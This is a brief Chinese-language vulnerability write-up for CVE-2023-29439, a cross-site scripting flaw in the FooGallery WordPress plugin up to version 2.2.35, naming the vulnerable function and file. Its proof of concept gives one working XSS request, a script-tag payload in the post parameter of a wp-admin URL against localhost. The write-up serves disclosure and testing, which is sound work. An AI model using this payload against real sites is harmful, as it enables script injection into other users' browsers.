CVE-2023-29439

该仓库涉及 Wordpress Foogallery 插件中的 XSS 漏洞。

漏洞详情

描述

在 Foogallery 2.2.35 及更早版本中，foogallery/includes/admin/class-gallery-attachment-modal.php 中的 foogallery_image_editor_modal 函数容易受到 XSS 攻击。

前提条件

• 无需身份验证

概念验证

1. Foogallery 设置 → 管理 → 启用高级附件模态框
2. 发送 http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post=”><script>alert(1)</script>

参考

CVE-2023-29439